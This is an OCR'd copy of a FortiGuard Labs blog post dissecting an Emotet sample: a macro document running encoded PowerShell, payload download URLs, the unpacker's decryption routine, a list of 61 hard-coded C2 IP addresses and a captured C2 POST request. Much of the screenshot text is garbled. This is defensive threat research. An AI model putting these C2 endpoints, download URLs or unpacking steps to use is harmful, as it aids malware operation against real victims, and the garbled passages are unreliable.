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Emotet is a trojan that is primarily spread through spam emails. During its lifecycle, it has gone through a few

iterations. Early versions were delivered as a malicious JavaScript file. Later versions evolved to use macro-

enabled Office documents to retrieve a malicious payload from a C2 server.

FortiGuard Labs has been tracking Emotet since it was first discovered, and in this blog, I will provide a deep
analysis of a new Emotet sample found in early May. This detailed analysis includes how to unpack the persistent
payload, how Emotet malware communicates with its C2 servers, how to identify the hard-coded C2 server list

and RSA key in the executable, as well as how it encrypts the data it gathers.
0x01 Malicious Word Document

This sample is a Word document file. When you open it and enable the macro in Word, the malware starts to

execute.
F19.23 996 1405PM i: WINWORDEEXE 2635 QY Load Image C NN C0owS:SYSWIOWS whentwhemsyc ol SUCCESS Image Base: (o714
31024 DOC2ABEPM (= WINWORD EXE 2838 B Loadlmage  C/'WindowsSys\WOWE4 wbentdasipicx & SUCCESS Image Base; G710
319.24 0003083 PM [ WINWORD EXE_ 263 R Load Image __CINnows SYSWOWSAinldsspici SUCCESS Image Base: (709
5 2408 '+, Process Start S Paront PID- 1448,
31924 0534397 PM b pwErSHstxe 2408 B Triead Creale g Thiasd 10- 4684 )
-?' Event Properties - LTI

Evenl  Process | Stadk

Date: Sf2E/2019 3:19:24 0536266 FM

Thread: 1632

Class: Process

Opesstion:  Process Stast Execute powershell script decoded with base64

Resual: SUCCESS

Path:

Duration: 00000000

Prament PIL;

Command line: m mmlmuqmua\wrmumcgsum.aznuwm.cmmnnmu@zqmmmm»wmuacmmmmMrwwjmmgacgurmacmxm.mnt:»m

NAGEA wArACCARBhACARDAs ACALAVEC AL AR AT A AMDATgAAGYAFaT AHMA Wl sACoA InAvACCAKWANAEA A2 ABDAHO ArA AN ACKALA An & CcALwATA
FACCASDANRACLAIWERA GE A JwAr A C :n:gnnn(mmlucdnwnoat LA AXAHOA e AWAHIAIGALAGY AlWERACCALAAGACCAL GEACCAK AN AGEAIWARACKAKW AGAC] Aew AmA HOAewAX AHOALGALAGY AKA AN ACEAMOANACSADWAVACCAXGAS ACCAWINCES
rACCALwES ADU ALwARA CRALA AnAGUA FwADRA kAL gBT AHA AbABIAHIA KA ARAE AA Jved pADs &) ABVAEEAQQEY AFBAQNBCAETAPQADACCA Zg AnACs AwBvA HoA TwAr ACA BB ADE A wArA CcAVOAn ACKAKOATAGY qmm’,unqa;a@umnnammﬁ}
PAEQAVOESAHCAEAASA CAKAAIAHAMABRAHSAMOBEIACTALGEMACAAKA AnAGEAUQANACSA FWBRACCAKQASA CCArw AN ACKAKWANAFoA QG AN ACKA

Cusrent directary: Ciiwindavr\pritem 32y

Envirenment:

Figure 1. Executing a PowerShell script

We can see here that the VB script inside the malicious Word document file is able to create a new process with

PowerShell. The option ‘-e’ in PowerShell indicates that it accepts a base64-encoded string version of commands.

The decoded PowerShell script is shown in Figure 2:
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Figure 2. Debugging the decoded PowerShell script

The variable $YBAAU_D is a list which includes five URLs. It uses them to download a payload from a remote
server and then execute it. The following table lists each malicious URL, the name of the payload that can be

downloaded from the corresponding URL, the Sha256 value, and payload size.

When I started to investigate this sample in early May, the first two URLs could not be accessed, while the three

remaining URLs were all active. All three payloads are PE files.

URLs Payload SHA256 Size
hitp:/\webaphobia.com/images/72Ca/ | N/A N/A N/A
https://montalegrense.graficosassoci | N/A MN/A N/A
ados.com/keywords/FOYo/
http:/fpurimaro.com/1 fiww/ 1n592ynn2ysSgg0.exe | 30bb20ed402afe7585bae468575e0e90 | 136k

e6d6580a229042c3a51eecefc153db7
http:/fjpmtech.com/css/GOOvqd/ s9chyx.exe 2c9bBed7cb7ce9b49579453283292ddf | 141k

478cBab2953b66c27aac8dfcB4c6ib2b
http:/118.89.215.166/wp-includes/5/ | p4xIObbb85.exe 21145645cac74e0b590813eafd257a2¢ | 141k

4af6c6be0bc86d873ad0e6c005c0911d

Next, we will choose one of them to do further investigation. In this blog, all analysis is based on the payload

p4x10bbb85.exe (sha256:21145645cac74e0b590813eafd257a2c4af6c6be0bc86d873ad0e6c005c¢0911d).
0x02 First Layer Payload

The payload p4x10bbb85.exe is packed by a customized packer. After it executes, it creates three new processes,

shown below:

1 pente e em (2925) Droplon Encryption GiLrsers I Deskop pea0nobas e Slegancs Soltware GimnbH WK IPCORSNNSGO! . "G \Liser s I sk g pA bbb tmet” S12R01983002FM  H122019350.00PM
10 paa0m S e (2784) Deoptos Ercryption. ©Lrsers I Cas KoplgAatetas s l- St Soltwars GicH WIN-IPCORSNNDOC, . 038 S12201995803PM  S122010958.10PM
M tsportal eno 3520y cH Slogancs Solbwaeo GmH WIN-IPCORENNDGOL . "G \Lisors Mumal AppOa L ocalitsportalitsportal ax™ 512019053 10FM  SI2Z010058.11PM

L+ ] Stnganos Soltwaro GmbH WIN TPCORENNDGE, . ~<B857341 SI2RROENPM na

Figure 3. The process tree after executing the payload p4x10bbb85.exe

It first launches the process (pid:2784) with the command line ‘--f02b3a38’. It then writes the PE file
‘itsportal.exe’ into the folder C:\Users\[XXX]\AppData\Local\itsportal\. Next, it executes itsportal.exe without any

parameters. After itsportal.exe is executed, it is able to launch the process (pid:1980) with the command line ‘--
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€6857361°. Finally, the first three created processes exit and the PE file p4x10bbb85.exe is deleted the from hard
disk. The PE file itsportal.exe is the persistent payload.

T W W W w7 W —— — — —
- - - - EE 21 -

Qv"| v Computer » Local Disk (C) » Users » WD » AppData » Local » isportal

Organize = Inchudie in library = Share with = MNewi folder
)
v Fanorites Mams Date madified Type Sire
B Coskicp L© itsponal 5/B/2019 2:10 PM Applicstion 13858 |
i Dowemloads

& Reoent Flaces

Figure 4. The persistent payload

0x03 Analysis of Persistent Payload

In this section, we will continue to analyze the persistent payload itsportal.exe. This payload has a customized

packer. After tracing a few steps from the entry point, the program goes into the function sub_4012EQ().
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itsportal . 004012E0
mo :!p,:sp
sub esp,10
push ebx
mov dword ptr ss:lebp-a),0
&M dicsportal.401i670

mov edx dword por ss; :hpmﬁx
rrlw Mr'd ptr ds;[41 M-
mov dword ptr ds:[41SEDC] ,ebp
mov dword per ss:jebp-4),0
mnv ﬂ,?ﬂrd Etr ds:[meﬂ:pm!]&yb]

53 [cAREegDpenkeyss], eax

- 1tsnnrtal.4o£
jmp icsportal. 401314
mav ecx,dword por ds:[<tRegueryval ueExaAs ]
mov_ dward ptr ds: [ <aReggueryval UsExax] ,ecx
E&M itsportal.40l040
mov dword ptr ds:[415F04] ,eax
E&N irsportal. 401440
mov dword ptr ds: [419EES]
mov eds,dword pLr ds:!ﬂ!éﬂ]
mov dword ptr ds:[41 ],&l:tx
mow dword ptr ds:[419EE4] ,1

itsportal. 004012588

mav dword ptr ss:febp-10],0
mav eax ,dword pcr us*tus:n:]
moyv dword por ds:[ 11:5&:;
mov ecx dword ptr ds:[41 éc&i
add ecx ,dword ptr ssiflebp-10
push ecx

mov edx ,dword prr ds:[408008
add edx ,dword prr ss:flebp-1

ush edx
H iesportal . 401640
add esp,3
mov dword ptr ds:[-i-:l.!ﬂ.c
mv eax dword ptr ds: 41
eax dword ptr ds:[419ECe
jh ‘It:por:ﬂ 401396

itsportal.on40139¢ itsportal .00401324
ush 17 Jmp ftsportal. 401408

irsporcal . 401600
add esp,4

ecx ,dword ptr ds:[415F1C)

dword ptr ds*[us ] eLx

edx dword pr ds: [ 408008

eax ydword ptr ds: 4:I.SEE4

ecx ydword ptr ds:[ea<+edc+15]

ecx ydword ptr et ebp-1

ecx qdword ptr ds:[415EEC

dword pecr ds*[-i!.s::c] =

:£ sdword ptr ds:[419EEC)

ed«,15

dword prr ds:[41SEEC] ,edx

gax ,dword ptr ds:[408008

gax ydword ptr ss:flebp-1

gax ydword ptr ds: [419EES

dword ptr ds:[41S9EES] ,eax

ecx dward ptr ds:[415ECS
ptr ds:|415ECC
ds: [419ECE] ;ecx

jne i '.'.:purtﬂ 40135¢

itsportal. 00401408
Epush 241
ush 4
itsportal . 401560

B5p, 8
b, abx
AN B AN
ecx,itsportal . 401264
BN, Eax
&b, ebx
BEX 4
BN B A
ebx  ebx

Figure 5. The function sub_4012E0()

The following is the pseudo C code of the function sub_4012EQ().
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cdecl sub_4@12E8(

Figure 6. The pseudo C code of the function sub_4012E0()

In this function, the malware invokes the function sub_401440() to allocate a new memory region(0x1D0000)

with Virtual AllocEx(), and sets the starting address of this memory plus 0x102f0 as the trampoline address.

Then, in the loop, it first copies the first 0x7B bytes of data from 0xf080f8 to the new memory region, then
continues to copy data. When the byte reaches 0x37, it’s not copied to the new memory region. The size of data

copied into the memory region is 0x10600.

Next, the function sub_401560() is used to decrypt the data in the new memory region, and at this point the
trampoline code is decrypted. Later, we will see that the program is going to jump to the trampoline code. Finally,

the program jumps to 0x00401260 to execute its instructions.

. Bapa

. Bacl X

. BY 64124000 WOV BCK
. g8cO

. BBDE

- BIED M sub ecx,

o sucl x

. HEDE x

. gacl

: 51

- text: (0401433 itsportal.exe: 51433 #833

i - [00401260 | i esparcal. 00401260
Y Dumpl | WS O0ump2 | gy Dumpd | g Dumps | B walchl | el Locak | G St | g Dump3 LovLzrecc ] izporta

RO R
Address | Hex | Asc1x | - ::*RIL;;:-::?}’
OMNe710 BB 0T F8 35T FS CB 18 F7T05 B G GAIFL FE FF EA | COUSGE. crd. INbwe oo oo

Figure 7. Jump to 0x00401260

As shown in Figure 8, the program will jump to 0x1E02FO0 to execute the trampoline code.
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i . e intd
EB— 35 push ehp

- SBEC mov ebp ,esp

. B8B25 DCOE4ALDD mov es5p , dword pte ds: [419EDC]

L 58 pop Eax

- HBES mov ebp , eax

. FF35 FAOE4100 push dword pte ds:[4196F8]
I . FF35 DOSE4100 push dwerd ptr ds; [41900]

- FF35 pd9e4100 push dword ptr ds: [419E04 ]
|E—————— (]

- 1]

- ci

. cC

- cC

» [

- cC

* cC

» [

- cC

_text: 0040127 itsportal.exe:$127E #67E

¥4 Dump 1 |wuump2 B4 Dump3 | g4 Dump4 Hms[!'lﬂ'uﬁl ||n||.mls| i Struet

Address | Hex ASCIT

[001E02€0]| 33 10 88 40| OB 03 40 FC| 89 11 B CL| BB E5 50 C3| 1..M, . Mu..cA.alA
WIEdZrn |55 88 EC 80 00 00 00 7 45 F4| 00 00 00 00| v.%.%....CE6. ..

Q01EQ30D | 7 45 Fd O0[ D0 DO 00 EB| 09 88 45 F4|83 CO 01 89| GEO....e..E0.A..
001E0310 | 45 F4 81 7p|F4 D5 DC 32|00 73 12 6al 5B 6A 00 Bo| E6. }oli2.s.ixj..
OD1ED320 | 40 98 51 E8&| 58 FB FF FF| A3 Cd OC EB|DC BB 45 04 | M.QéXeyy. A 8U.E.
Q01EQ330 | B9 45 F8 BB| 45 0B B9 45| 8C 89 6D 98| 8D 55 98 52| .Eo.E..E..m..U.R
OD1ED340 | ES EB F4 FF|FF B3 4 04 E8 E3 FI FF|FF B9 45 B4 | eedyy. A, eldyy.E.
OOLED3S0 | BB 45 F8 8945 A0 BB 4D| 8C 89 4D AC| BE 55 AC B8O | .E0.E .M. M= U=,
(01ED360 | 55 FO 8B 45| AC BB 4D FO| 03 48 3c 89| 4D FO BE 55 | UB.E-~.MB.H<.M3. U
GO1e0370 | FO 89 55 90| B8 45 90 OF| 87 48 16 8940 A4 E8 AD| B.u..E.. H..MDgE,
MI1ED3BD | F3 FF FF 05| 20 40 00| 89 45 88 88| 55 B8 8B 02 | dyy. 8. _E..
OD1ED390 | 89 45 80 ER| F3 FF FF|05 24 11 40| 00 89 45 B8 | .E.&.dyy. 5.0, .E.
(D1EG3A0 | BB 4D B0 51| EB BY FO FF|FF 83 4 04| 89 45 94 8B | .M.0R.0vv.A. .E..
DO1EQ3R0 | 55 80 52 8845 B& 50 8B|dp 94 51 EB[ 00 FB FF FF | U.R.E.F.M.0Q&. oyy
0D1EQ3CO | 83 <4 OcC 88| 55 BO 52 BE|45 94 50 e8| 00 FE FF FF| .A..U.R.E.P&Dhyy
O01E0300 | 83 C4 08 88|40 94 51 Bp) 55 98 52 EB| AD FB FF FF| .A..M.0.U.Ré dyy
OLEQ3ED | 85 CO 75 04| 33 c0 EB 1A| 83 7o AD 00| 74 00 B 45| (Au. 3k&. .} .t E
0D1E03F0 | BO 8B 4D 98| 89 41 10 BE| 55 AB 88 65|98 50 58 58| ".M..AL 0 e K

QO1ECAQD | 52 €3 8B ES| 50 €3 00 00|00 00 00 00| 00 00 00 00| mA.aJA.......
mmicrd1n | 0a o0 o aal o0 on oo ool 0a on on aal onoon a0 00

itsportal., 00400000

réturn o 1tiporta

return to itsporta

iespareal . 00400000
*==cBB57 361

"= =cBB5T 361
&"C\\Usersh\Kal L

& ALLUSERSPROFILE=

‘:wi:u_staﬂ\\p_efanfit"
Figure 8. Jump to the trampoline code
The trampoline code mainly does the following things:

1. Allocates a new memory region (0x1F0000) with a size of 0x10000, and it is named memory region A.
2. Copies 0xf600 bytes of data from 0x1D0124 to the memory region A.
3. Decrypts the data of memory region A set up in step 2. The decryption algorithm is shown below.

// decrypt the data of memory region, al points to the memory region, a2 is its size.
int _ cdecl decrypt_mem(int al, unsigned int a2)

int result; // eax
unsigned int i; // [espt0h] [ebp-4h]

for ( i =0; i< a2; i +4=4 )
*(_ DWORD *)(i + al) += i;
*(_DWORD *)(i + al) "= i + 1001;

result = i + 4;

}

return result;

}

4. Allocates a new memory region(0x200000), whose size is 0x14000. It is named memory region B.

5. Copies the first 0x400 bytes of data from memory region A to the start of memory region B.

6. Copies all segments of data from memory region A to memory region B.

7. Calls the function UnmapViewofFile(0x400000) that enables it to unmap a mapped view of a file by calling a
process’s address space.

8. Calls the function VirtualAlloc(0x400000,0x14000,MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) to enable execute, read/write access to the memory region.

9. Copies the 0x14000 bytes of data from memory region B to 0x400000.
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10. Jumps back to the real entry point (0x4CA90) from the trampoline to execute instructions. At this point, the

unpacking work is finished.

The following screenshot is the memory map. I highlight three allocated memory regions as well as the unpacked

program.
Address | Size Infao Content Initial
00010000 | 00010000 -RW--
00020000 | 00001000 =AW=~
00030000 | 000FDO00D | Reserved z -RW--
00120000 | 00003000 | Thread 928 stack Allocate three memory regions -RW-—
00130000 | 00004000 “Re==
00140000 | 00001000 i ~RW--
00150000 | 00067000 | WDevice\Harddiskvolumeliwindows\System3?\ locale.nls -B---
(01C0000 | 00001000 —RW--
111 ERW--
0O1F0000 | 00010000 ERW-~-
| O0014000 EBW--
00270000 | 00003000 ~RW--
00273000 | 00000000 | Reserved (00270000% -RW-
00280000 | 0000CO00 Unpacked program TR
0028c000 | 000B4000 | Reserved (0O02800007) -R---
00340000 | 00003000 “R=-=-
00343000 | 00005000 | Reserved (002800000 -R--
00400000 [ 00014000 ERW--_|
[OOTOI000 - —
00600000 | 00007000 =RW=
00607000 | D00FF000 | Reserved (00600000 =AW=~

Figure 9. Highlight of three allocated memory regions and the unpacked program

Finally, the program jumps to the real entry point 0x4C9A0. (NOTE: At this time, you could use the plugin
OllyDumpEx to dump the unpacked program in x64dbg. Once you get the unpacked program, you could perform
static analysis on it with IDA Pro.)

3845 00
B840 98
£341 10
8255 A%
265 0%
5o
58
8
!; ready to return to Oxdca®™) to execute instructions from trampoline, it's the real entry point. At this point, the urpacking work is Finished!
<
d2ES
5o
<3
o000
0000
o300
00
. 0000
" L]
The real entry peint of program unpacked
OLE0401
QuDumpl | guOwe? | guDwed | B4 0umpd | gy oumps | AP wetthl | el seak | ) ot
| Address | tex | Asc1r
/1 93 An 1A CH| 0 OO <O 6708 AC C4 80| 50 0D €4 66 ju;
0G40F720 [ 91 D€ B8 o6[ B8 01 30 9¢|F7 £3 84 7386 01 Ab 98 | .vbe

¥.co "--c6857 3617

90 1F €1 82|18 FC SE B9|BE 01 €2 90

Figure 10. Jump to the real entry point

So far, we have demonstrated how to unpack the Emotet malware. In the unpacked program, the C2 server list is
hard-coded at offset 0x40F710, and the public key is hard-coded at offset 0x40FBF0.

0x04 Communication with C2 Server

In order to investigate its communication with the C2 server, we first need to obtain the C2 server list. As
mentioned in section 3, the C2 server list is hard-coded in the executable file. After unpacking, we can see that
the buffer starting at offset 0x40F710 stores the C2 server list, as shown in Figure 11:
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00408120

0012FB6D m |

Woowmpt | gy Dwmp2 |y Dumpd | gy Dumps | @8 wethn | gl tocoks | St
o T e e e e - =

i.t.s.pie.r.tia.
1 .

ks
25

B4235522282532322288323228853288:88
B8nBE88882822332328283838288888888

?‘%

288
888
EriERe e RERRRREEREERERERRERsEES

B

E52S838888523238283383888888833¢8

&

8888222258332 58388288:838888888

.
-

ELEESEEEEEEsEEEEEE2EEEEEEEszEEs8Eyy

g

B EEEEEEEEEEEEEESEE5E22ES83888888s
reug2828882888882222288822sesssssls
PBLBBEB88288583238888888888888888888]

S¥E2228228228282228882238888888884

EnnEEZEEEEE5EzEE8sE88888sEs
EEEYEE88EEEEE538EEEE858888Es
FERYEEEEEEEE22288EE2888888.

EE L EEEEEEEEEEEEEEEEEEEEEE,

Figure 11. The hard-coded C2 server list
A global variable is stored at 0x004124A0. It has the following structure in the C programming language.

struct g_ip_port_list

{
DWORD *c2_list;
DWORD *current_c2;
DWORD size;
DWORD current_c2_index;
}

The member variable c2_list points to the hard-coded C2 server list buffer. Each item in this list includes a pair of
an IP address and port. Its size is 8 bytes, with the first four bytes representing the IP address, followed by the two
bytes that represent the port. The member variable current_c2 points to the currently selected C2 server. The

member variable size is the size of the C2 server list. The member variable current _c2_index represents the index

of the current selected C2 server in the C2 server list.
This sample has 61 C2 servers, which are listed below.
200.58.171.51:80

189.196.140.187:80

222.104.222.145:443
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115.132.227.247:443

190.85.206.228:80

216.98.148.136:4143

111.67.12.221:8080

185.94.252.27:443

139.59.19.157:80

159.69.211.211:8080

107.159.94.183:8080

72.47.248.48:8080

24.150.44.53:80

176.58.93.123:8080

186.139.160.193:8080

217.199.175.216:8080

181.199.151.19:80

85.132.96.242:80

51.255.50.164:8080

103.213.212.42:443

192.155.90.90:7080

66.209.69.165:443

109.104.79.48:8080

181.142.29.90:80

77.82.85.35:8080

190.171.230.41:80

144.76.117.247:8080

187.188.166.192:80

201.203.99.129:8080

https://www.fortinet.com /blog/threat-research/deep-dive-into-emotet-malware.html
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200.114.142.40:8080

43.229.62.186:8080

189.213.208.168:21

181.37.126.2:80

109.73.52.242:8080

181.29.101.13:80

190.180.52.146:20

82.226.163.9:80

200.28.131.215:443

213.172.88.13:80

185.86.148.222:8080

190.117.206.153:443

192.163.199.254:8080

103.201.150.209:80

181.30.126.66:80

200.107.105.16:465

165.227.213.173:8080

81.3.6.78:7080

5.9.128.163:8080

69.163.33.82:8080

196.6.112.70:443

37.59.1.74:8080

23.254.203.51:8080

190.147.116.32:21

200.45.57.96:143

91.205.215.57:7080

https://www.fortinet.com /blog/threat-research/deep-dive-into-emotet-malware.html
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189.205.185.71:465
219.94.254.93:8080
186.71.54.77:20

175.107.200.27:443
66.228.45.129:8080
62.75.143.100:7080

Next, let’s take a look at the traffic sent to the C2 servers. In this sample, it sends an HTTP POST request to the

C2 server.
[N T repsequest methon == post *) B
o, Tiene: Source Destinatin Protocol  Length ko
1. 86 13.637229 182.168.71.133 111.67.12.221 |  HTTP  689|POST /balloon/window/sess/ HTTP/1.1 (application/x-www-fors-urlencoded)
i 256 71.888787 192.168.71.133 208.58.171.51 HTTP 695 |POST facquire/img/sess/ HTTP/1.1 (application/x-www-form-urlencoded)
| 511 183.687632 192.168.71.133 189.196.148.187 HTTP 782 |POST /padgesmult/ HTTP/1.1 (application/x=-www=form-urlencoded)
I S50 125.9635330 152.168,71.133 222.184,.222.145 HTTP 713|POST fattrib/balloon/sess/ HTTP/1.1 (application/x-www-form-urlencoded)
1 655 145.5130088 192.168.71.133 115.132.227. 247 HTTP 783 |POST /between/acquire/sess/ HTTP/1.1 (application/x-www-form-urlencoded)
' 782 172.642215 192.168.71.133 198. 85.206.228 HTTP 707 |POST /badge/between/sess/ HTTP/1.1 (application/x-www-form-urlencoded)
BBE 194 888534 192.168.71.133 216.98.148.136 HTTR G8B|POST /devices/sysbols/sess/merge/ HTTP/1.1 (application/x-www=-form-urlencoded)
B29 228.814253 192.168,71.1223 111.87.12.221 HTTP 684 |POST fvermont/srvc/sess/merge/ HTTP/1.1 (applicat f = o = F' L )
B83% 232.148538 192.168.71.133 185.54.252.27 HTTP 1867 |POST fadd/ HTTP/1.1 (application/x-www-form-urlencoded)
918 266.887393 192.168.71.133 139.59.19.157 HTTP 698 |POST fenable/badge/ HTTP/1.1 (application//w-www-form-urlencoded)
968 392.811718 192.168.71.133 T2.47.248.48 HTTP 782 |POST fraster/scripts/ HTTP/1.1 (application/x-www-form-urlencoded)
1834 329.669348 192.168,71.133 24.150.44,53 HTTP 1835|POST fbadge/ HTTP/1.1 (application/x-www-form-urlencoded)
1137 385.174741 192.168.71.133 217.195.175. 216 HTTP 1638 |POST freport/iab/ HTTP/1.1 (application/x-www-form-urlencoded)
1158 419.918533 192.168.71.133 181.199.151.19 HTTP 1868 |POST /between/balloon/ringin/merge/ HTTP/1.1 (application/x-wwi-form-urlencaded)
1218 443.416781 192.168,.71.133 85.132.96. 242 HTTP 1011 |POST fbadge/ HTTP/1.1 (application/x-www-form-urlencoded)
1246 de6.627082 192.168.71.133 51.255.50.164 HTTP 1027 |POST /chunk/between/ HTTP/1.1 (application/x-www-fors-urlencoded)
1329 581.778485 152.168.71.133 183.213.212.42 HTTP 1825 |POST fpdf/ HTTP/1.1 (application/x-www-form-urlencoded)
1348 523.221163 192.168.71.133 192.155.98.98 HTTP 1843 |POST fvermont/srve/ HTTPS1.1 (application/x-www=form-urlencoded)
1418 558.492223 192.168.71.133 66.209.69.165 HTTP 1001 |POST [fiplk/ HTTP/1.1 (application/x=www-fora-urlancoded)
1454 592.659767 192.168.71.133 189,184, 79,48 HTTP 1036 |POST /ringin/raster/ringin/ HTTP/1.1 (application/x-www-form-urlencoded)
1538 627.862525 152.168.71.133 181.142.29.58 HTTP 1863 |POST fcone/ HTTR/1.1 (application/x-www-forma-urlencoded)
1643 &74.068E59 192.168.71.133 198.171.238 .41 HTTP 1811 |POST fpublish/ HTTP/1.1 (application/x=-www-form-urlencoded)
1769 703.224379 192.168.71.133 187.188.166.192 HTTP 1009 |POST /xian/ HTTP/1.1 pplication/x=-www-forn-urlencoded)
aman me= cmses ams aen = was 45 mam em aee Limen B e S B YN
Frame 86: 689 bytes on wire (5512 bits), 689 bytes captured 12 bits) on interface @
Ethernet II, Src: Vmware_@f:e9:85 (00:9c:29:0f:e9:85), Dst: re_eb:22:c (B0:50:56:06:22:c8)
Internet Protocol Version 4, Src: 192.188.71.133, Dst: 111.67.123%321
Transmission Control Protocol, Src Port: 49186, Dst Port: 8088, t 418, Ack: 1, Len: 635
2202 99 50 56 e6 22 0 B0 Bc 29 Bf 9 85 28 89 45 @0 Py-" ] E
BU1E B2 a3 @1 be 40 20 B0 B8 B3 20 cB a8 47 85 &F 43 . Gl
©c dd «@ 22 1f S0 b2 8a 26 7a @7 86 a8 55 50 18 S ELER - R,
fa f@ 85 3 9O 8@ 33 58 39 76 6a 58 3d 7@ 7a 6a 3% wiP=pz]
76 75 6F 72 58 68 25 32 42 43 39 6c 69 79 47 41 wworXhK2 BCSLiyGA POST request to C2 server

36 38 49 41 42 6e 57 72 71 &d &5 4d 66 74 6b 45  ealaer gevitkie L2 SEIVers
57425074 3173 39 30 57 78 63 53 b de 4d 6b  WEPELS90 WxcVIORK
346d 537775253242 79 7a 38 6f 3150 62 25  deSunilB pzBOiPbY
3242 53 25 32 42 52 54 25 32 42 45 71 50 47 45 2BSK2BAT X2BIqPE1
3431 69 6b 56 67 77 64 45 68 4c 34 15 32 46 45 41ikViQD ENLXIFE
3877 33 4F dc 77 73 52 4F 79 39 35 43 25 32 46 SulOwsR OySSCRE
52 de 54 4b 6c 74 Ta &3 74 38 4b 73 63 31 4f da  RNTK1TID teéxscl0d
7936 65 31 45 56 34 32 74 72 71 74 70 7 4F 60 y6elEVa2 trqtpask
49 6b 6F 57 de 73 47 55 e ad 62 43 6F 4F 58 35  TkowNzGU NMECOOKS
7356 61 61 35 49 79 35 €9 49 46 68 4d 53 41 4d  sVaaSIyS LIFHUSAN

Figure 12. The captured traffic that is sent to the C2 servers

The HTTP session is shown below. The HTTP body data is encoded with the URL Encode algorithm.
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POST /dma/devices/sess/merge/ HTTR/1.1

Referer: http://216.98.148.136/dma/devices/sess/merge/

Content-Type: application/x-www-form-urlencoded

DNT: 1

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLOC2; .NET
CLR 2.0.58727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

Host: 216.98.148.136:4143

Content-Length: 596

Connection: Keep-Alive

Cache-Control: no-cache

GHey&ThsszAmgejSMK ] : B BVBX2BjLTzceCedNyo@B8IxIQEEYE2BS515

BRuh5bZVhlsy4Ajr7AbDnHa%2BKpmaudM3VE2BT4C16eTITE2B2ceATEpVThtg2aN04D] cABOtMVK3p2P
2EMF'.B3F?EFIICFuZr‘ITI%ZEK33gmﬂg\'ﬂ}rﬂyhﬂ-l?EFISHET.HIEEQZFED%EFESF

guEKLbULQK?lngnaQEE ; Bv EpE%HDHTTPfl 1 266 OK
Server: nginx

Date: Wed, 29 May 2619 22:13:19 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 132

Connection: keep-alive

LY I, | [ |U w4, ... .C* .nin{b....}..T..... de.t?.L...x..1.G....%..
B iiineananaanaafio®oxc. . 1., U8.8. ... h.BFD..... V.0,

Figure 13. The HTTP session data

After performing URL decoding, we can see the data is encoded with Base64. After Base64 decoding, we can
finally see the real data that is encrypted. In this next section, let’s dive into the encryption algorithm of the HTTP
body data.

POST fdma/devices/sess/merge/ HTTP/1.1 = " : § :

Referer: http://216.98.148.136/dna/devices/sess/nerge/ Bl S dvce16 [o]] windows ansy [fire [
Content-Type: application/x-www-form-urlencoded 5] decoded 2019052917411 bin 1
DNT: 1 = = -
User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.8; SLEC2; .MET
CLR 2.9.58727; .NET CLR 3.5.3072%; .NET CLR 2.8.30729; Media Center PC £.0) -
Host: Z16.98.148.136:4143 00000000

UB OC 0D OE OF Decoded Text
2 EF CO| .w*&6k?0s«Hl0e1i

Il Offsec(n) 00 01 0Z 03 04
=TT

Content-Length: 536 00000010 0 RS 77| Zo¥M.w (TEeEQEAw
Connecticn: Keep-Alive 00000020 7 02 by, EaE8e] IRIE-<T
Cache-Control: no-cache 00000030 7 B4 ®'TIAEIC; .G.bE

00000040 2 DA & F(Uf:4..)" .WVFEn
GHey6ThsszAmqR] SMKL=vzFQENBBLUy L2 imiAUeL AqHFoZwLKeBb I h2xBVEE2E L TzceCedtiyGREIxIQSEYE2BS515 00000050 5 DS 1B8p S~ 4. x2, EPr
EYo2oM74YENXbITV1ZGSET sRAVngFNE2E jdiPe [eERVBY tXqAGDT FSWPrLgzeP ghlipn 2 XMOE 2MAT JUBUGKEV - Tk 00000080 L a0 1 pz€ . TRIcE . ~BY. |
Vjchpcnzl@fuhShIvhlsydajr7AbOnHaX 28K peaueMIVR I8 TAC16eFITRIB2ceATEDY ThTE 2aN04D ] CABO TRV 3pIF| goa8a0To 5 BE & ierAugh . 40,89, .k
T2Me{SH2ZENABIFFEFmCFuZrrmk ghima B gk RyhaT ZKOKIF S rkevELEZYBRTeNrz 1X288 1H]e 0000080 58 Soxit—1]. 0. [eXe
YREEMTL quv Fusy SahMIX20USNEXZL LoD LHmdTKHaK baRF £1iOXt g JELQSHEKDOWNIVECR2BymIFQKIKE B P 00

o, EnRlogicaeme
u-CEvEGECLmx. And
&9, F41. vhdoleszy
=<irs-2c8.ql.¥, .
k1w, T8E, O51%,

St3kANaVKBCUVFREE2FKT5LrBPTkyukes L 7Cxm T HXSDUrKuqDGW TR ARnK e SHTZ TWh2ubX2F FIk2FagADBaksatk
Icwr 2B IH7BIRS2YHEIBp i eByTepEXIDHTTR/ 11 280 0K

000000R0
Server: nginx 00000080
Date: Wed, 29 May 2019 22:13:19 GMT 0?090000
Content-Type: text/html; charset=UTF-8 00000000

Content-Length: 132 00DO00ED 20, FEALY.ERTY.
Connection: keep-alive URL decode 000000E0 Woletd ! AEIV SIE]
00000100 SVyun=E6 - 16164
00000110 <y} A 1RAE2gS (v
00000120 qd 5:-14.E.8:.B7.
00000130 n.10.8) - R+B8EE
00000140 w. . Dt O fdeevd
00000150 P 2xdl. .. Uz 08
000001 £1YRAErtaqagu;Ua
L] 70 .85 Add . 50 sed
ao0i80 48 77| nRB+:-EOURNG] W
00000190 = 06 il .68,GiR.gf.0"F.0

000001R0 BH

64| Decode

Encrypted data

Figure 14. The Decoded HTTP body data with URL decoding and Base64 decoding
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0x05 Encryption Algorithm

The Emotet malware can gather some system info, such as host name, the list of all processes running on the

infected machine, etc. The following is the set of gathered data.

Offset(h) 00 01 02 03 04 0S5 06 07 08 0% OA OB OC OD OE OF Decoded text
00000000 00 @ 57 45 4E 58 31 50 43 44 39 35 4E 4E ....WINX1PCD95SNN
00000010 9 47 43 SF 31 32 35 34 46 30 44 34 E-: F4 BC 06 9GC_1254F0D4.&%4.
00000020 1|20 sF EE 33 6E ¢ .= 1Ei.ﬁnipas
00000030 ce.exe, firefox. o
00000040 me, Skype .exe, cor
00000050 e, dumpcap
00000060 .exe Wire =
00000070 n=.:pp=vc.exe,p:\
00000080 pcexp.exe, x32dbg
00000090 . exe, wmpnetwk. ex
000000AD e, WmiPrvSE.exe, 5 )
00000080 carchindexer.exs The length of processlist,
000000C0 msdtc.exe,dllnd itcan be caculated by (8x02 << 7) +(0xEC & Ox7F),
000000D0 st.exe, Lightshot the result is Ox16¢e
000000ED .exe, vmtoolad. ex
